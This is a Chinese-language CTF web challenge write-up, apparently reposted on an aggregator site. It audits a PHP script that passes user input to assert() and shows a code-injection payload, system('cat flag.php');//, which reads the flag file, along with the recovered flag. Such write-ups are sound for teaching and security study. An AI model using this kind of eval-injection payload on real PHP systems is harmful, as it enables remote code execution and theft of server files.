当前位置: 首页 > news >正文

CTF-Web题解:“require_once(‘flag.php‘); assert(“$i == $u“);”

1.进入环境

进入靶场后看到页面显示代码如下:
在这里插入图片描述

2.常规检查

(1)ctrl+u检查页面代码,无明显异常。
在这里插入图片描述
(2)目录检查,使用dirsearch进行扫描,发现有flag.php出现。
在这里插入图片描述
访问后发现无任何回显,为题目的干扰项。

3.代码审计

接下里对代码进行审计,代码如下:

<?php 
require_once('flag.php'); 
error_reporting(0); if(!isset($_GET['u'])){ highlight_file(__FILE__); die(); 
}else{ $i=$_GET['i']; $u=$_GET['u']; if($_GET['u']!="Hello World"){ die('die...'); } assert("$i == $u"); 
}

观察发现该代码为php代码,解释如下:

require_once('flag.php'):引入 flag.php 文件,该文件可能包含敏感信息(如 flag)。
require_once :确保文件只被引入一次。
error_reporting(0):关闭所有错误报告,防止敏感信息通过错误信息泄露。
if(!isset($_GET['u'])):检查 GET 参数 u 是否存在。
highlight_file(__FILE__):如果 u 不存在,高亮显示当前文件内容(即源码)。
die():终止脚本执行。
$i=$_GET['i']:将 GET 参数 i 的值赋给变量 $i$u=$_GET['u']:将 GET 参数 u 的值赋给变量 $uif($_GET['u']!="Hello World"):检查 GET 参数 u 的值是否不等于 "Hello World"die('die...'):如果 u 的值不是 "Hello World",终止脚本并输出 die...assert("$i == $u"):执行断言(assert),检查 $i 是否等于 $u

代码要求构造一个u,并且u得是Hello World;同时构造一个i,i得等于u。但成功构造后发现无事发生,代码里的逻辑也是,如果满足了这些条件,确实没有任何的回显和输出。
于是考虑在构造过程中加入命令,代码中给出了flag.php,但开头已经访问过了,是空白的,所以可能需要命令执行给打印出来。但是u必须等于Hello World,所以只能在i里面构造。
观察到这里使用了assert函数,能实现比较效果的函数有很多,但为什么偏偏是这个不常见的函数,可能突破点在这里!
查看assert()的官方解释:
在这里插入图片描述
发现这个函数会将里面的参数作为php代码执行!

4.url构造

于是,我们便可以利用i参数来构造命令,同时,在命令后加上注释符号,结束和u的比较。
构造u和i如下:

u=Hello World
i=system('cat flag.php');//

最后,整个url构造为:

http://靶机地址/?u=Hello World&i=system(‘cat flag.php’);//
访问,发现页面是空白,查看页面代码,找出flag!
在这里插入图片描述
最后的flag为:

flag{6833165eb0924067aa6897c389d76f30}

5.总结

本题的难点在于要发现其用了一个不常见的函数来执行比较操作,在有限的信息量下,任何一点可疑的地方都要揪着不放。最终发现了漏洞的所在。

http://www.lryc.cn/news/599856.html

相关文章:

  • Linux系统基本配置以及认识文件作用
  • 双非上岸985!专业课140分经验!信号与系统考研专业课140+上岸中南大学,通信考研小马哥
  • 20分钟学会TypeScript
  • 本地内网IP映射到公网访问如何实现?内网端口映射外网工具有哪些?
  • VUE2 学习笔记6 vue数据监测原理
  • 局域网 IP地址
  • Linux tcpdump 抓取udp 报文
  • 开源语音TTS与ASR大模型选型指南(2025最新版)(疯聊AI提供)
  • 动态规划:从入门到精通
  • 中国开源Qwen3 Coder与Kimi K2哪个最适合编程
  • 电子电子架构 --- 软件项目的开端:裁剪
  • 【IDEA】IDEA中如何通过分支/master提交git?
  • Hadoop 之 Yarn
  • 【软件工程】构建软件合规防护网:双阶段检查机制的实践之道
  • 【AJAX】Promise详解
  • HashMap的线程安全性 vs ConcurrentHashMap
  • 机器学习中knn的详细知识点
  • 基于springboot的候鸟监测管理系统
  • 100条常用SQL语句大全
  • 用毫秒级视频回传打造稳定操控闭环之远程平衡控制系统技术实践
  • LE AUDIO CIS/BIS音频传输时延计算方法
  • 【神经网络概述】从感知机到深度神经网络(CNN RNN)
  • 博客多级评论展示功能实现
  • Class18卷积层的填充和步幅
  • 仙人掌cacti中的RCE案例
  • 【Python】一些PEP提案(四):scandir、类型约束,异步asyncawait
  • win11 使用adb 获取安卓系统日志
  • 黑马点评01 - 项目介绍 短信登录
  • RAG、Function Call、MCP技术笔记
  • HTML+CSS+JS快速入门